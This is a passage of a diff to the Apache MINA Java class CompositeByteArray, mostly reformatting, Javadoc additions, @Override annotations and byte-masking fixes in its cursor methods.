org.apache.mina.util.byteaccess.ByteArrayList.Node; - /** - * A ByteArray composed of other ByteArrays. Optimised for fast relative access + * A ByteArray composed of other ByteArrays. Optimized for fast relative access * via cursors. Absolute access methods are provided, but may perform poorly. * * TODO: Write about laziness of cursor implementation - how movement doesn't @@ -46,29 +44,37 @@ public final class CompositeByteArray extends AbstractByteArray { * TODO: Is this interface right? */ public interface CursorListener { - /** * Called when the first component in the composite is entered by the cursor. + * + * @param componentIndex The component position + * @param component The component to use */ - public void enteredFirstComponent( int componentIndex, ByteArray component ); - + void enteredFirstComponent(int componentIndex, ByteArray component); /** * Called when the next component in the composite is entered by the cursor. + * + * @param componentIndex The component position + * @param component The component to use */ - public void enteredNextComponent( int componentIndex, ByteArray component ); - + void enteredNextComponent(int componentIndex, ByteArray component); /** * Called when the previous component in the composite is entered by the cursor. + * + * @param componentIndex The component position + * @param component The component to use */ - public void enteredPreviousComponent( int componentIndex, ByteArray component ); - + void enteredPreviousComponent(int componentIndex, ByteArray component); /** * Called when the last component in the composite is entered by the cursor. + * + * @param componentIndex The component position + * @param component The component to use */ - public void enteredLastComponent( int componentIndex, ByteArray component ); + void enteredLastComponent(int componentIndex, ByteArray component); } /** @@ -90,7 +96,7 @@ public interface CursorListener { * Creates a new instance of CompositeByteArray. */ public CompositeByteArray() { - this( null ); + this(null); } /** @@ -100,18 +106,15 @@ public CompositeByteArray() { * @param byteArrayFactory * The factory used to create the ByteArray objects */ - public CompositeByteArray( ByteArrayFactory byteArrayFactory ) { + public CompositeByteArray(ByteArrayFactory byteArrayFactory) { this.byteArrayFactory = byteArrayFactory; } /** - * Returns the first {@link ByteArray} in the list - * - * @return - * The first ByteArray in the list + * @return the first {@link ByteArray} in the list */ public ByteArray getFirst() { - if ( bas.isEmpty() ) { + if (bas.isEmpty()) { return null; } @@ -122,53 +125,48 @@ public ByteArray getFirst() { * Adds the specified {@link ByteArray} to the first * position in the list * - * @param ba - * The ByteArray to add to the list + * @param ba The ByteArray to add to the list */ - public void addFirst( ByteArray ba ) { - addHook( ba ); - bas.addFirst( ba ); + public void addFirst(ByteArray ba) { + addHook(ba); + bas.addFirst(ba); } /** * Remove the first {@link ByteArray} in the list * - * @return - * The first ByteArray in the list + * @return The first ByteArray in the list */ public ByteArray removeFirst() { Node node = bas.removeFirst(); return node == null ? null : node.getByteArray(); } - /** * Remove component ByteArrays to the given index (splitting * them if necessary) and returning them in a single ByteArray. * The caller is responsible for freeing the returned object. * * TODO: Document free behaviour more thoroughly. + * + * @param index The index from where we will remove bytes + * @return The resulting byte aaay */ - public ByteArray removeTo( int index ) { - if ( index < first() || index > last() ) { + public ByteArray removeTo(int index) { + if (index < first() || index > last()) { throw new IndexOutOfBoundsException(); } - // Optimisation when removing exactly one component. - // if (index == start() + getFirst().length()) { - // ByteArray component = getFirst(); - // removeFirst(); - // return component; - // } + // Removing - CompositeByteArray prefix = new CompositeByteArray( byteArrayFactory ); + CompositeByteArray prefix = new CompositeByteArray(byteArrayFactory); int remaining = index - first(); - - while ( remaining > 0 ) { + + while (remaining > 0) { ByteArray component = removeFirst(); - - if ( component.last() <= remaining ) { + + if (component.last() <= remaining) { // Remove entire component. - prefix.addLast( component ); + prefix.addLast(component); remaining -= component.last(); } else { // Remove part of component. Do this by removing entire @@ -176,45 +174,54 @@ public ByteArray removeTo( int index ) { // TODO: Consider using getIoBuffers(), as would avoid // performance problems for nested ComponentByteArrays. IoBuffer bb = component.getSingleIoBuffer(); + // get the limit of the buffer int originalLimit = bb.limit(); + // set the position to the beginning of the buffer - bb.position( 0 ); + bb.position(0); + // set the limit of the buffer to what is remaining - bb.limit( remaining ); + bb.limit(remaining); + // create a new IoBuffer, sharing the data with 'bb' IoBuffer bb1 = bb.slice(); + // set the position at the end of the buffer - bb.position( remaining ); + bb.position(remaining); + // gets the limit of the buffer - bb.limit( originalLimit ); + bb.limit(originalLimit); + // create a new IoBuffer, sharing teh data with 'bb' IoBuffer bb2 = bb.slice(); + // create a new ByteArray with 'bb1' - ByteArray ba1 = new BufferByteArray( bb1 ) { + ByteArray ba1 = new BufferByteArray(bb1) { @Override public void free() { // Do not free. This will get freed } }; - + // add the new ByteArray to the CompositeByteArray - prefix.addLast( ba1 ); + prefix.addLast(ba1); remaining -= ba1.last(); - + // final for anonymous inner class - final ByteArray componentFinal = component; - ByteArray ba2 = new BufferByteArray( bb2 ) { + final ByteArray componentFinal = component; + ByteArray ba2 = new BufferByteArray(bb2) { @Override public void free() { componentFinal.free(); } }; + // add the new ByteArray to the CompositeByteArray - addFirst( ba2 ); + addFirst(ba2); } } - + // return the CompositeByteArray return prefix; } @@ -222,387 +229,344 @@ public void free() { /** * Adds the specified {@link ByteArray} to the end of the list * - * @param ba - * The ByteArray to add to the end of the list + * @param ba The ByteArray to add to the end of the list */ - public void addLast( ByteArray ba ) { - addHook( ba ); - bas.addLast( ba ); + public void addLast(ByteArray ba) { + addHook(ba); + bas.addLast(ba); } /** * Removes the last {@link ByteArray} in the list * - * @return - * The ByteArray that was removed + * @return The ByteArray that was removed */ public ByteArray removeLast() { Node node = bas.removeLast(); + return node == null ? null : node.getByteArray(); } - /** - * @inheritDoc + * {@inheritDoc} */ + @Override public void free() { - while ( !bas.isEmpty() ) { + while (!bas.isEmpty()) { Node node = bas.getLast(); node.getByteArray().free(); bas.removeLast(); } } - - private void checkBounds( int index, int accessSize ) { - int lower = index; - int upper = index + accessSize; - - if ( lower < first() ) { - throw new IndexOutOfBoundsException( "Index " + lower + " less than start " + first() + "." ); - } - - if ( upper > last() ) { - throw new IndexOutOfBoundsException( "Index " + upper + " greater than length " + last() + "." ); - } - } - - /** - * @inheritDoc + * {@inheritDoc} */ + @Override public Iterable getIoBuffers() { - if ( bas.isEmpty() ) { + if (bas.isEmpty()) { return Collections.emptyList(); } - - Collection result = new ArrayList(); + + Collection result = new ArrayList<>(); Node node = bas.getFirst(); - - for ( IoBuffer bb : node.getByteArray().getIoBuffers() ) { - result.add( bb ); + + for (IoBuffer bb : node.getByteArray().getIoBuffers()) { + result.add(bb); } - - while ( node.hasNextNode() ) { + + while (node.hasNextNode()) { node = node.getNextNode(); - - for ( IoBuffer bb : node.getByteArray().getIoBuffers() ) { - result.add( bb ); + + for (IoBuffer bb : node.getByteArray().getIoBuffers()) { + result.add(bb); } } - + return result; } - /** - * @inheritDoc + * {@inheritDoc} */ + @Override public IoBuffer getSingleIoBuffer() { - if ( byteArrayFactory == null ) { + if (byteArrayFactory == null) { throw new IllegalStateException( - "Can't get single buffer from CompositeByteArray unless it has a ByteArrayFactory." ); + "Can't get single buffer from CompositeByteArray unless it has a ByteArrayFactory."); } - - if ( bas.isEmpty() ) { - ByteArray ba = byteArrayFactory.create( 1 ); + + if (bas.isEmpty()) { + ByteArray ba = byteArrayFactory.create(1); return ba.getSingleIoBuffer(); } - + int actualLength = last() - first(); - - { - Node node = bas.getFirst(); - ByteArray ba = node.getByteArray(); - - if ( ba.last() == actualLength ) { - return ba.getSingleIoBuffer(); - } + + Node firstNode = bas.getFirst(); + ByteArray ba = firstNode.getByteArray(); + + if (ba.last() == actualLength) { + return ba.getSingleIoBuffer(); } - + // Replace all nodes with a single node. - ByteArray target = byteArrayFactory.create( actualLength ); + ByteArray target = byteArrayFactory.create(actualLength); IoBuffer bb = target.getSingleIoBuffer(); Cursor cursor = cursor(); - cursor.put( bb ); // Copy all existing data into target IoBuffer. - - while ( !bas.isEmpty() ) { + cursor.put(bb); // Copy all existing data into target IoBuffer. + + while (!bas.isEmpty()) { Node node = bas.getLast(); ByteArray component = node.getByteArray(); bas.removeLast(); component.free(); } + + bas.addLast(target); - bas.addLast( target ); return bb; } - /** - * @inheritDoc + * {@inheritDoc} */ + @Override public Cursor cursor() { return new CursorImpl(); } - /** - * @inheritDoc + * {@inheritDoc} */ - public Cursor cursor( int index ) { - return new CursorImpl( index ); + @Override + public Cursor cursor(int index) { + return new CursorImpl(index); } - /** * Get a cursor starting at index 0 (which may not be the start of the * array) and with the given listener. * - * @param listener - * Returns a new {@link Cursor} instance + * @param listener The listener to use + * @return a new {@link ByteArray.Cursor} instance */ - public Cursor cursor( CursorListener listener ) { - return new CursorImpl( listener ); + public Cursor cursor(CursorListener listener) { + return new CursorImpl(listener); } - /** * Get a cursor starting at the given index and with the given listener. * - * @param index - * The position of the array to start the Cursor at - * @param listener - * The listener for the Cursor that is returned + * @param index The position of the array to start the Cursor at + * @param listener The listener for the Cursor that is returned + * @return The created Cursor */ - public Cursor cursor( int index, CursorListener listener ) { - return new CursorImpl( index, listener ); + public Cursor cursor(int index, CursorListener listener) { + return new CursorImpl(index, listener); } - /** - * @inheritDoc + * {@inheritDoc} */ - public ByteArray slice( int index, int length ) { - return cursor( index ).slice( length ); + @Override + public ByteArray slice(int index, int length) { + return cursor(index).slice(length); } - /** - * @inheritDoc + * {@inheritDoc} */ - public byte get( int index ) { - return cursor( index ).get(); + @Override + public byte get(int index) { + return cursor(index).get(); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void put( int index, byte b ) - { - cursor( index ).put( b ); + @Override + public void put(int index, byte b) { + cursor(index).put(b); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void get( int index, IoBuffer bb ) - { - cursor( index ).get( bb ); + @Override + public void get(int index, IoBuffer bb) { + cursor(index).get(bb); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void put( int index, IoBuffer bb ) - { - cursor( index ).put( bb ); + @Override + public void put(int index, IoBuffer bb) { + cursor(index).put(bb); } - /** - * @inheritDoc + * {@inheritDoc} */ - public int first() - { + @Override + public int first() { return bas.firstByte(); } - /** - * @inheritDoc + * {@inheritDoc} */ - public int last() - { + @Override + public int last() { return bas.lastByte(); } - /** * This method should be called prior to adding any component * ByteArray to a composite. * - * @param ba - * The component to add. + * @param ba The component to add. */ - private void addHook( ByteArray ba ) - { + private void addHook(ByteArray ba) { // Check first() is zero, otherwise cursor might not work. // TODO: Remove this restriction? - if ( ba.first() != 0 ) - { - throw new IllegalArgumentException( "Cannot add byte array that doesn't start from 0: " + ba.first() ); + if (ba.first() != 0) { + throw new IllegalArgumentException("Cannot add byte array that doesn't start from 0: " + ba.first()); } + // Check order. - if ( order == null ) - { + if (order == null) { order = ba.order(); - } - else if ( !order.equals( ba.order() ) ) - { - throw new IllegalArgumentException( "Cannot add byte array with different byte order: " + ba.order() ); + } else if (!order.equals(ba.order())) { + throw new IllegalArgumentException("Cannot add byte array with different byte order: " + ba.order()); } } - /** - * @inheritDoc + * {@inheritDoc} */ - public ByteOrder order() - { - if ( order == null ) - { - throw new IllegalStateException( "Byte order not yet set." ); + @Override + public ByteOrder order() { + if (order == null) { + throw new IllegalStateException("Byte order not yet set."); } return order; } - /** - * @inheritDoc + * {@inheritDoc} */ - public void order( ByteOrder order ) { - if ( order == null || !order.equals( this.order ) ) { + @Override + public void order(ByteOrder order) { + if (order == null || !order.equals(this.order)) { this.order = order; - - if ( !bas.isEmpty() ) { - for ( Node node = bas.getFirst(); node.hasNextNode(); node = node.getNextNode() ) { - node.getByteArray().order( order ); + + if (!bas.isEmpty()) { + for (Node node = bas.getFirst(); node.hasNextNode(); node = node.getNextNode()) { + node.getByteArray().order(order); } } } } - /** - * @inheritDoc + * {@inheritDoc} */ - public short getShort( int index ) { - return cursor( index ).getShort(); + @Override + public short getShort(int index) { + return cursor(index).getShort(); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putShort( int index, short s ) { - cursor( index ).putShort( s ); + @Override + public void putShort(int index, short s) { + cursor(index).putShort(s); } - /** - * @inheritDoc + * {@inheritDoc} */ - public int getInt( int index ) - { - return cursor( index ).getInt(); + @Override + public int getInt(int index) { + return cursor(index).getInt(); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putInt( int index, int i ) - { - cursor( index ).putInt( i ); + @Override + public void putInt(int index, int i) { + cursor(index).putInt(i); } - /** - * @inheritDoc + * {@inheritDoc} */ - public long getLong( int index ) - { - return cursor( index ).getLong(); + @Override + public long getLong(int index) { + return cursor(index).getLong(); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putLong( int index, long l ) - { - cursor( index ).putLong( l ); + @Override + public void putLong(int index, long l) { + cursor(index).putLong(l); } - /** - * @inheritDoc + * {@inheritDoc} */ - public float getFloat( int index ) - { - return cursor( index ).getFloat(); + @Override + public float getFloat(int index) { + return cursor(index).getFloat(); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putFloat( int index, float f ) - { - cursor( index ).putFloat( f ); + @Override + public void putFloat(int index, float f) { + cursor(index).putFloat(f); } - /** - * @inheritDoc + * {@inheritDoc} */ - public double getDouble( int index ) - { - return cursor( index ).getDouble(); + @Override + public double getDouble(int index) { + return cursor(index).getDouble(); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putDouble( int index, double d ) - { - cursor( index ).putDouble( d ); + @Override + public void putDouble(int index, double d) { + cursor(index).putDouble(d); } - /** - * @inheritDoc + * {@inheritDoc} */ - public char getChar( int index ) - { - return cursor( index ).getChar(); + @Override + public char getChar(int index) { + return cursor(index).getChar(); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putChar( int index, char c ) - { - cursor( index ).putChar( c ); + @Override + public void putChar(int index, char c) { + cursor(index).putChar(c); } - private class CursorImpl implements Cursor - { + private class CursorImpl implements Cursor { private int index; @@ -616,388 +580,327 @@ private class CursorImpl implements Cursor // Cursor within current component. private ByteArray.Cursor componentCursor; - - public CursorImpl() - { - this( 0, null ); + public CursorImpl() { + this(0, null); } - - public CursorImpl( int index ) - { - this( index, null ); + public CursorImpl(int index) { + this(index, null); } - - public CursorImpl( CursorListener listener ) - { - this( 0, listener ); + public CursorImpl(CursorListener listener) { + this(0, listener); } - - public CursorImpl( int index, CursorListener listener ) - { + public CursorImpl(int index, CursorListener listener) { this.index = index; this.listener = listener; } - /** - * @inheritDoc + * {@inheritDoc} */ - public int getIndex() - { + @Override + public int getIndex() { return index; } - /** - * @inheritDoc + * {@inheritDoc} */ - public void setIndex( int index ) - { - checkBounds( index, 0 ); + @Override + public void setIndex(int index) { + checkBounds(index, 0); this.index = index; } - /** - * @inheritDoc + * {@inheritDoc} */ - public void skip( int length ) - { - setIndex( index + length ); + @Override + public void skip(int length) { + setIndex(index + length); } - /** - * @inheritDoc + * {@inheritDoc} */ - public ByteArray slice( int length ) - { - CompositeByteArray slice = new CompositeByteArray( byteArrayFactory ); + @Override + public ByteArray slice(int length) { + CompositeByteArray slice = new CompositeByteArray(byteArrayFactory); int remaining = length; - while ( remaining > 0 ) - { - prepareForAccess( remaining ); - int componentSliceSize = Math.min( remaining, componentCursor.getRemaining() ); - ByteArray componentSlice = componentCursor.slice( componentSliceSize ); - slice.addLast( componentSlice ); + + while (remaining > 0) { + prepareForAccess(remaining); + int componentSliceSize = Math.min(remaining, componentCursor.getRemaining()); + ByteArray componentSlice = componentCursor.slice(componentSliceSize); + slice.addLast(componentSlice); index += componentSliceSize; remaining -= componentSliceSize; } + return slice; } - /** - * @inheritDoc + * {@inheritDoc} */ - public ByteOrder order() - { + @Override + public ByteOrder order() { return CompositeByteArray.this.order(); } - - private void prepareForAccess( int accessSize ) - { + private void prepareForAccess(int accessSize) { // Handle removed node. Do this first so we can remove the reference // even if bounds checking fails. - if ( componentNode != null && componentNode.isRemoved() ) - { + if (componentNode != null && componentNode.isRemoved()) { componentNode = null; componentCursor = null; } // Bounds checks - checkBounds( index, accessSize ); + checkBounds(index, accessSize); // Remember the current node so we can later tell whether or not we // need to create a new cursor. Node oldComponentNode = componentNode; // Handle missing node. - if ( componentNode == null ) - { - int basMidpoint = ( last() - first() ) / 2 + first(); - if ( index <= basMidpoint ) - { + if (componentNode == null) { + int basMidpoint = (last() - first()) / 2 + first(); + + if (index <= basMidpoint) { // Search from the start. componentNode = bas.getFirst(); componentIndex = first(); - if ( listener != null ) - { - listener.enteredFirstComponent( componentIndex, componentNode.getByteArray() ); + + if (listener != null) { + listener.enteredFirstComponent(componentIndex, componentNode.getByteArray()); } - } - else - { + } else { // Search from the end. componentNode = bas.getLast(); componentIndex = last() - componentNode.getByteArray().last(); - if ( listener != null ) - { - listener.enteredLastComponent( componentIndex, componentNode.getByteArray() ); + + if (listener != null) { + listener.enteredLastComponent(componentIndex, componentNode.getByteArray()); } } } // Go back, if necessary. - while ( index < componentIndex ) - { + while (index < componentIndex) { componentNode = componentNode.getPreviousNode(); componentIndex -= componentNode.getByteArray().last(); - if ( listener != null ) - { - listener.enteredPreviousComponent( componentIndex, componentNode.getByteArray() ); + + if (listener != null) { + listener.enteredPreviousComponent(componentIndex, componentNode.getByteArray()); } } // Go forward, if necessary. - while ( index >= componentIndex + componentNode.getByteArray().length() ) - { + while (index >= componentIndex + componentNode.getByteArray().length()) { componentIndex += componentNode.getByteArray().last(); componentNode = componentNode.getNextNode(); - if ( listener != null ) - { - listener.enteredNextComponent( componentIndex, componentNode.getByteArray() ); + + if (listener != null) { + listener.enteredNextComponent(componentIndex, componentNode.getByteArray()); } } // Update the cursor. int internalComponentIndex = index - componentIndex; - if ( componentNode == oldComponentNode ) - { + + if (componentNode == oldComponentNode) { // Move existing cursor. - componentCursor.setIndex( internalComponentIndex ); - } - else - { + componentCursor.setIndex(internalComponentIndex); + } else { // Create new cursor. - componentCursor = componentNode.getByteArray().cursor( internalComponentIndex ); + componentCursor = componentNode.getByteArray().cursor(internalComponentIndex); } } - /** - * @inheritDoc + * {@inheritDoc} */ - public int getRemaining() - { + @Override + public int getRemaining() { return last() - index + 1; } - /** - * @inheritDoc + * {@inheritDoc} */ - public boolean hasRemaining() - { + @Override + public boolean hasRemaining() { return getRemaining() > 0; } - /** - * @inheritDoc + * {@inheritDoc} */ - public byte get() - { - prepareForAccess( 1 ); + @Override + public byte get() { + prepareForAccess(1); byte b = componentCursor.get(); index += 1; + return b; } - /** - * @inheritDoc + * {@inheritDoc} */ - public void put( byte b ) - { - prepareForAccess( 1 ); - componentCursor.put( b ); + @Override + public void put(byte b) { + prepareForAccess(1); + componentCursor.put(b); index += 1; } - /** - * @inheritDoc + * {@inheritDoc} */ - public void get( IoBuffer bb ) - { - while ( bb.hasRemaining() ) - { + @Override + public void get(IoBuffer bb) { + while (bb.hasRemaining()) { int remainingBefore = bb.remaining(); - prepareForAccess( remainingBefore ); - componentCursor.get( bb ); + prepareForAccess(remainingBefore); + componentCursor.get(bb); int remainingAfter = bb.remaining(); + // Advance index by actual amount got. int chunkSize = remainingBefore - remainingAfter; index += chunkSize; } } - /** - * @inheritDoc + * {@inheritDoc} */ - public void put( IoBuffer bb ) - { - while ( bb.hasRemaining() ) - { + @Override + public void put(IoBuffer bb) { + while (bb.hasRemaining()) { int remainingBefore = bb.remaining(); - prepareForAccess( remainingBefore ); - componentCursor.put( bb ); + prepareForAccess(remainingBefore); + componentCursor.put(bb); int remainingAfter = bb.remaining(); + // Advance index by actual amount put. int chunkSize = remainingBefore - remainingAfter; index += chunkSize; } } - /** - * @inheritDoc + * {@inheritDoc} */ - public short getShort() - { - prepareForAccess( 2 ); - if ( componentCursor.getRemaining() >= 4 ) - { + @Override + public short getShort() { + prepareForAccess(2); + + if (componentCursor.getRemaining() >= 4) { short s = componentCursor.getShort(); index += 2; + return s; - } - else - { + } else { byte b0 = get(); byte b1 = get(); - if ( order.equals( ByteOrder.BIG_ENDIAN ) ) - { - return ( short ) ( ( b0 << 8 ) | ( b1 << 0 ) ); - } - else - { - return ( short ) ( ( b1 << 8 ) | ( b0 << 0 ) ); + + if (order.equals(ByteOrder.BIG_ENDIAN)) { + return (short) ((b0 << 8) | (b1 & 0xFF)); + } else { + return (short) ((b1 << 8) | (b0 & 0xFF)); } } } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putShort( short s ) - { - prepareForAccess( 2 ); - if ( componentCursor.getRemaining() >= 4 ) - { - componentCursor.putShort( s ); + @Override + public void putShort(short s) { + prepareForAccess(2); + + if (componentCursor.getRemaining() >= 4) { + componentCursor.putShort(s); index += 2; - } - else - { - byte b0; - byte b1; - if ( order.equals( ByteOrder.BIG_ENDIAN ) ) - { - b0 = ( byte ) ( ( s >> 8 ) & 0xff ); - b1 = ( byte ) ( ( s >> 0 ) & 0xff ); - } - else - { - b0 = ( byte ) ( ( s >> 0 ) & 0xff ); - b1 = ( byte ) ( ( s >> 8 ) & 0xff ); + } else { + if (order.equals(ByteOrder.BIG_ENDIAN)) { + put((byte) ((s >> 8) & 0xff)); + put((byte) (s & 0xff)); + } else { + put((byte) (s & 0xff)); + put((byte) ((s >> 8) & 0xff)); } - put( b0 ); - put( b1 ); } } - /** - * @inheritDoc + * {@inheritDoc} */ - public int getInt() - { - prepareForAccess( 4 ); - if ( componentCursor.getRemaining() >= 4 ) - { + @Override + public int getInt() { + prepareForAccess(4); + + if (componentCursor.getRemaining() >= 4) { int i = componentCursor.getInt(); index += 4; + return i; - } - else - { + } else { byte b0 = get(); byte b1 = get(); byte b2 = get(); byte b3 = get(); - if ( order.equals( ByteOrder.BIG_ENDIAN ) ) - { - return ( ( b0 << 24 ) | ( b1 << 16 ) | ( b2 << 8 ) | ( b3 << 0 ) ); - } - else - { - return ( ( b3 << 24 ) | ( b2 << 16 ) | ( b1 << 8 ) | ( b0 << 0 ) ); + + if (order.equals(ByteOrder.BIG_ENDIAN)) { + return (b0 << 24) | ((b1 & 0xFF) << 16) | ((b2 & 0xFF) << 8) | (b3 & 0xFF); + } else { + return (b3 << 24) | ((b2 & 0xFF) << 16) | ((b1 & 0xFF) << 8) | (b0 & 0xFF); } } } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putInt( int i ) - { - prepareForAccess( 4 ); - if ( componentCursor.getRemaining() >= 4 ) - { - componentCursor.putInt( i ); + @Override + public void putInt(int i) { + prepareForAccess(4); + + if (componentCursor.getRemaining() >= 4) { + componentCursor.putInt(i); index += 4; - } - else - { - byte b0; - byte b1; - byte b2; - byte b3; - if ( order.equals( ByteOrder.BIG_ENDIAN ) ) - { - b0 = ( byte ) ( ( i >> 24 ) & 0xff ); - b1 = ( byte ) ( ( i >> 16 ) & 0xff ); - b2 = ( byte ) ( ( i >> 8 ) & 0xff ); - b3 = ( byte ) ( ( i >> 0 ) & 0xff ); - } - else - { - b0 = ( byte ) ( ( i >> 0 ) & 0xff ); - b1 = ( byte ) ( ( i >> 8 ) & 0xff ); - b2 = ( byte ) ( ( i >> 16 ) & 0xff ); - b3 = ( byte ) ( ( i >> 24 ) & 0xff ); + } else { + if (order.equals(ByteOrder.BIG_ENDIAN)) { + put((byte) ((i >> 24) & 0xff)); + put((byte) ((i >> 16) & 0xff)); + put((byte) ((i >> 8) & 0xff)); + put((byte) (i & 0xff)); + } else { + put((byte) (i & 0xff)); + put((byte) ((i >> 8) & 0xff)); + put((byte) ((i >> 16) & 0xff)); + put((byte) ((i >> 24) & 0xff)); } - put( b0 ); - put( b1 ); - put( b2 ); - put( b3 ); } } - /** - * @inheritDoc + * {@inheritDoc} */ - public long getLong() - { - prepareForAccess( 8 ); - if ( componentCursor.getRemaining() >= 4 ) - { + @Override + public long getLong() { + prepareForAccess(8); + + if (componentCursor.getRemaining() >= 4) { long l = componentCursor.getLong(); index += 8; + return l; - } - else - { + } else { byte b0 = get(); byte b1 = get(); byte b2 = get(); @@ -1006,213 +909,195 @@ public long getLong() byte b5 = get(); byte b6 = get(); byte b7 = get(); - if ( order.equals( ByteOrder.BIG_ENDIAN ) ) - { - return ( ( b0 & 0xffL ) << 56 ) | ( ( b1 & 0xffL ) << 48 ) | ( ( b2 & 0xffL ) << 40 ) - | ( ( b3 & 0xffL ) << 32 ) | ( ( b4 & 0xffL ) << 24 ) | ( ( b5 & 0xffL ) << 16 ) - | ( ( b6 & 0xffL ) << 8 ) | ( ( b7 & 0xffL ) << 0 ); - } - else - { - return ( ( b7 & 0xffL ) << 56 ) | ( ( b6 & 0xffL ) << 48 ) | ( ( b5 & 0xffL ) << 40 ) - | ( ( b4 & 0xffL ) << 32 ) | ( ( b3 & 0xffL ) << 24 ) | ( ( b2 & 0xffL ) << 16 ) - | ( ( b1 & 0xffL ) << 8 ) | ( ( b0 & 0xffL ) << 0 ); + + if (order.equals(ByteOrder.BIG_ENDIAN)) { + return ((b0 & 0xFFL) << 56) | ((b1 & 0xFFL) << 48) | ((b2 & 0xFFL) << 40) | ((b3 & 0xFFL) << 32) + | ((b4 & 0xFFL) << 24) | ((b5 & 0xFFL) << 16) | ((b6 & 0xFFL) << 8) | (b7 & 0xFFL); + } else { + return ((b7 & 0xFFL) << 56) | ((b6 & 0xFFL) << 48) | ((b5 & 0xFFL) << 40) | ((b4 & 0xFFL) << 32) + | ((b3 & 0xFFL) << 24) | ((b2 & 0xFFL) << 16) | ((b1 & 0xFFL) << 8) | (b0 & 0xFFL); } } } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putLong( long l ) - { - //TODO: see if there is some optimizing that can be done here - prepareForAccess( 8 ); - if ( componentCursor.getRemaining() >= 4 ) - { - componentCursor.putLong( l ); + @Override + public void putLong(long l) { + prepareForAccess(8); + + if (componentCursor.getRemaining() >= 4) { + componentCursor.putLong(l); index += 8; - } - else - { - byte b0; - byte b1; - byte b2; - byte b3; - byte b4; - byte b5; - byte b6; - byte b7; - if ( order.equals( ByteOrder.BIG_ENDIAN ) ) - { - b0 = ( byte ) ( ( l >> 56 ) & 0xff ); - b1 = ( byte ) ( ( l >> 48 ) & 0xff ); - b2 = ( byte ) ( ( l >> 40 ) & 0xff ); - b3 = ( byte ) ( ( l >> 32 ) & 0xff ); - b4 = ( byte ) ( ( l >> 24 ) & 0xff ); - b5 = ( byte ) ( ( l >> 16 ) & 0xff ); - b6 = ( byte ) ( ( l >> 8 ) & 0xff ); - b7 = ( byte ) ( ( l >> 0 ) & 0xff ); - } - else - { - b0 = ( byte ) ( ( l >> 0 ) & 0xff ); - b1 = ( byte ) ( ( l >> 8 ) & 0xff ); - b2 = ( byte ) ( ( l >> 16 ) & 0xff ); - b3 = ( byte ) ( ( l >> 24 ) & 0xff ); - b4 = ( byte ) ( ( l >> 32 ) & 0xff ); - b5 = ( byte ) ( ( l >> 40 ) & 0xff ); - b6 = ( byte ) ( ( l >> 48 ) & 0xff ); - b7 = ( byte ) ( ( l >> 56 ) & 0xff ); + } else { + if (order.equals(ByteOrder.BIG_ENDIAN)) { + put((byte) ((l >> 56) & 0xff)); + put((byte) ((l >> 48) & 0xff)); + put((byte) ((l >> 40) & 0xff)); + put((byte) ((l >> 32) & 0xff)); + put((byte) ((l >> 24) & 0xff)); + put((byte) ((l >> 16) & 0xff)); + put((byte) ((l >> 8) & 0xff)); + put((byte) (l & 0xff)); + } else { + put((byte) (l & 0xff)); + put((byte) ((l >> 8) & 0xff)); + put((byte) ((l >> 16) & 0xff)); + put((byte) ((l >> 24) & 0xff)); + put((byte) ((l >> 32) & 0xff)); + put((byte) ((l >> 40) & 0xff)); + put((byte) ((l >> 48) & 0xff)); + put((byte) ((l >> 56) & 0xff)); } - put( b0 ); - put( b1 ); - put( b2 ); - put( b3 ); - put( b4 ); - put( b5 ); - put( b6 ); - put( b7 ); } } - /** - * @inheritDoc + * {@inheritDoc} */ - public float getFloat() - { - prepareForAccess( 4 ); - if ( componentCursor.getRemaining() >= 4 ) - { + @Override + public float getFloat() { + prepareForAccess(4); + + if (componentCursor.getRemaining() >= 4) { float f = componentCursor.getFloat(); index += 4; return f; - } - else - { + } else { int i = getInt(); - return Float.intBitsToFloat( i ); + + return Float.intBitsToFloat(i); } } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putFloat( float f ) - { - prepareForAccess( 4 ); - if ( componentCursor.getRemaining() >= 4 ) - { - componentCursor.putFloat( f ); + @Override + public void putFloat(float f) { + prepareForAccess(4); + + if (componentCursor.getRemaining() >= 4) { + componentCursor.putFloat(f); index += 4; - } - else - { - int i = Float.floatToIntBits( f ); - putInt( i ); + } else { + int i = Float.floatToIntBits(f); + putInt(i); } } - /** - * @inheritDoc + * {@inheritDoc} */ - public double getDouble() - { - prepareForAccess( 8 ); - if ( componentCursor.getRemaining() >= 4 ) - { + @Override + public double getDouble() { + prepareForAccess(8); + + if (componentCursor.getRemaining() >= 4) { double d = componentCursor.getDouble(); index += 8; + return d; - } - else - { + } else { long l = getLong(); - return Double.longBitsToDouble( l ); + + return Double.longBitsToDouble(l); } } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putDouble( double d ) - { - prepareForAccess( 8 ); - if ( componentCursor.getRemaining() >= 4 ) - { - componentCursor.putDouble( d ); + @Override + public void putDouble(double d) { + prepareForAccess(8); + + if (componentCursor.getRemaining() >= 4) { + componentCursor.putDouble(d); index += 8; - } - else - { - long l = Double.doubleToLongBits( d ); - putLong( l ); + } else { + long l = Double.doubleToLongBits(d); + putLong(l); } } - /** - * @inheritDoc + * {@inheritDoc} */ - public char getChar() - { - prepareForAccess( 2 ); - if ( componentCursor.getRemaining() >= 4 ) - { + @Override + public char getChar() { + prepareForAccess(2); + + if (componentCursor.getRemaining() >= 4) { char c = componentCursor.getChar(); index += 2; + return c; - } - else - { + } else { byte b0 = get(); byte b1 = get(); - if ( order.equals( ByteOrder.BIG_ENDIAN ) ) - { - return ( char ) ( ( b0 << 8 ) | ( b1 << 0 ) ); - } - else - { - return ( char ) ( ( b1 << 8 ) | ( b0 << 0 ) ); + + if (order.equals(ByteOrder.BIG_ENDIAN)) { + return (char)((b0 << 8) | (b1 & 0xFF)); + } else { + return (char)((b1 << 8) | (b0 & 0xFF)); } } } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putChar( char c ) - { - prepareForAccess( 2 ); - if ( componentCursor.getRemaining() >= 4 ) - { - componentCursor.putChar( c ); + @Override + public void putChar(char c) { + prepareForAccess(2); + + + if 